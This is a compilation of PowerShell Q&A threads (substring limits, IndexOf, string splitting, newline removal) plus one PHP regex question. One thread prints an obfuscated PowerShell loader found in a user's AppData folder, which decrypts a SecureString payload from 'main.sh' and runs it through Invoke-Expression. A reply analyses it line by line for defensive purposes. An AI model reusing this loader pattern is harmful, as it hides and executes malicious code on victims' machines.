Powershell - $var.ToString(x,y) issue - powershell

for a user creation scrip in powershell i'm using textbox object to fill the information of the new user (family name, first name)
I return a value like that:
$TextlabelUsername.text = $Textbox1.text.ToString().Substring(0,5)
Which apply on a button click.
But using that methode if one of my string value is less then 5 caracters the script return an error that the string is not enough long.
Is there a way to select 5 or less caracters or an other method to process ?

Try this:
$str = $Textbox1.text.ToString()
$TextlabelUsername.text = $str.Substring(0, [math]::Min(5, $str.Length))

There is nothing wrong with Ansgar Wiecher's method. Here is an alternative though:
$TextLabelUserName.Text = $Textbox1.Text.ToString() -replace '(.{0,5}).*', '$1'

Related

Powershell - Verify If a indexof is empty

if (($signmail.IndexOf('#')) -ne $null)
{
$signname = $signmail.Remove($signmail.IndexOf('#'))
}
Else{
$signname = $signmail
}
Hi, basicaly, I try to see if the user enter his mail address completely, or just the first part. I try here to ask If the value after a # in the mail address is not empty, to erase it and put it in the new variable. If not, the variable give directly his name to the other variable. But it not work. I always receive the StartIndex can't be below 0 error.
Anyone think of a way to make this code work for that part ?
Thanks
From the String.IndexOf() documentation:
Reports the zero-based index of the first occurrence of a specified Unicode character or string within this instance. The method returns -1 if the character or string is not found in this instance.
So you'll want to test whether the return value is 0 or greater:
if ($signmail.IndexOf('#') -ge 0) {
$signname = $signmail.Remove($signmail.IndexOf('#'))
}
else {
$signname = $signmail
}

Split a string based on "|" character in PowerShell

I have a string variable in PowerShell which contains the value:
NFP|8dc3b47a-48eb-4696-abe2-48729beb63c8
I am attempting to get the beginning portion of that string into it's own variable by identifying the index of the "|" character and using a substring function to extract the first portion of the string, in this case "NFP". I am not sure how to escape the "|" so I can use it properly. It doesn't seem to recognize it at all. My latest attempt is as follows:
$PolicyManual = $Item["PolicyManual"]
write-host $PolicyManual #Displays NFP|8dc3b47a-48eb-4696-abe2-48729beb63c8
if ($PolicyManual.Contains([regex]::escape("|"))) {
$PolcyManual = $PolicyManual.Substring(0, $PolicyManual.IndexOf([regex]::escape("|")))
}
I'm sure this is simple, but I can't figure out how to make it work. Can anyone offer assistance to a PowerShell novice?
Thanks.
The problem is that .contains method doesn't know about regex and you are never entering the if condition because of this. When you do [regex]::escape("|"), the method is looking for a literal \|.
Try this instead:
$PolicyManual = "NFP|8dc3b47a-48eb-4696-abe2-48729beb63c8"
if ($PolicyManual.Contains('|')) {
$element0, $element1 = $PolicyManual.Split('|')
$element0 #=> NFP
$element1 #=> 8dc3b47a-48eb-4696-abe2-48729beb63c8
}

Windows PowerShell Malicious script

I found this code in a folder into %appdata%Roaming :(
Can anybody tell me wat it does?
try{Get-Transaction:Test-Connection
New-WindowsImage:Register-ArgumentCompleter
Get-HgsTrace:Set-VMMigrationNetwork}catch{
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
try{Save-VM:Get-Variable
Set-RuleOption:Get-WindowsSearchSetting
Remove-PSReadLineKeyHandler:Remove-VMResourcePool}catch{}
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=#(1..16);
$HXZBX=[System.Runtime.InteropServices.Marshal]
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
Thank you!
Let's see. The first try-catch might be obfuscation to hide from cursory examination. The catch (pun intended) is in the the catch block. It contains the payload, so the try block is intended to throw an exception.
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" `
-replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
The variable contains obfuscated word powershell, which is revealed by replacing a lot of nonsense strings with nothing. There is -replce with search argument but not replacement argument, thus it just removes fillers IoG, ZsvjJ...
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=#(1..16);
Here Get-Process is used to find if Powershell is running. If multiple processes aren't being run, create an array containing values 1-16. This might be to avoid situations in which interactive sessions are active.
$HXZBX=[System.Runtime.InteropServices.Marshal]
Create an alias to InterOpServices' Marshal. Nothing troublesome here, legitimate use is to save in typing and reading long namespace descriptors.
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
A file main.sh is read. It contains a SecureString, encrypted with key 1,2,3...,15,16.
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
SecureString payload is converted to BSTR. This is to decrypt the SecureString, I guess.
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
Another "let's hide in the catch block" that sets a variable with nonsense content. No idea why.
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
Another a step in decryption, followed by weird stuff in another try-catch block without obvious intent.
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
The final payload from SecureString conversion is filtered to remove obfuscation, and the result is passed for execution to Invoke-Expression.
To see what's the payload, do as per Jeramy's comment. Replacing variable names to a bit more descriptive:
$key=#(1..16)
$encryptedStr = Get-Content "main.sh"
$secString = ConvertTo-SecureString $encryptedStr -key $key
$bstrPtr = $HXZBX::SecureStringToBSTR($secString)
$obfuscatedStr = $HXZBX::PtrToStringAuto($bstrPtr)
$obfuscatedStr -replace "UGSttylIkwIFr"

Removing newline character in PowerShell

I've got a really simple yet infuriating PowerShell question here. I'm trying to remove a newline character from a string. I have the following code:
param(
[parameter(mandatory=$false)]$Dmn = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
)
function getPDC{
$Domain = $Dmn.Name.Split('.')[0]
$PDC = (nltest /dcname:$Domain).Replace("PDC for Domain ","").Replace($Domain, "").Replace(" is \\","").Replace("The command completed successfully","").Replace("`n","")
$PDC + "hodor"
}
Which, if it would work how I understand it to, should return
PDCVALUEhodor
But instead it returns:
PDCVALUE
hodor
What is the dumb mistake I'm making here?
I tried casting $PDC as a string like so:
[String]$PDC = [String](nltest /dcname:$Domain).Replace("PDC for Domain ","").Replace($Domain, "").Replace(" is \\","").Replace("The command completed successfully","").Replace(" ", "")
And the line breaks disappeared (weird!), giving me
PDCVALUE hodor
which is closer to what I want, but I can't seem to remove that space. I tried calling Replace(" ", "") and Trim() on the string, both of which didn't work.
Instead of .Replace() try .TrimEnd()
$PDC.TrimEnd("`r?`n") + "hodor"
OK, apparently replacing the line
$PDC+"hodor"
with
($PDC+"hodor").Replace(" ", "")
worked. I had to use the Replace function on the entire string ($PDC + "hodor"), not just $PDC for some reason. Also, the Trim function didn't seem to do anything.

preg_replace troubles

I am struggling with this regular expression.
$glossary_search[] = "/(^|>|\\s)".$glossary["glossary_name"]."($|<|\\s)/i";
$glossary_replace[] = "\$1<a href='/jargon-buster/".tapestry_hyphenate($glossary["glossary_name"]).".html' title='".$glossary["glossary_name"]."' target='_blank'>".$glossary["glossary_name"]."</a>\$2";
return preg_replace($glossary_search,$glossary_replace,$text);
I am trying to replace words in a product description with a hyperlink. The code above works if the word has a space either side but does not work if it has a full stop, comma or "<". Can anyone spot my mistake?
Thanks,
Simon
I think you might need to use preg_quote and htmlentities?
$glossary_search[] = "/(^|>|\\s)".preg_quote(htmlentities($glossary["glossary_name"],ENT_COMPAT,'UTF8'))."($|<|\\s)/i";
$glossary_replace[] = "\$1<a href='/jargon-buster/".tapestry_hyphenate($glossary["glossary_name"]).".html' title='".$glossary["glossary_name"]."' target='_blank'>".$glossary["glossary_name"]."</a>\$2";
return preg_replace($glossary_search,$glossary_replace,$text);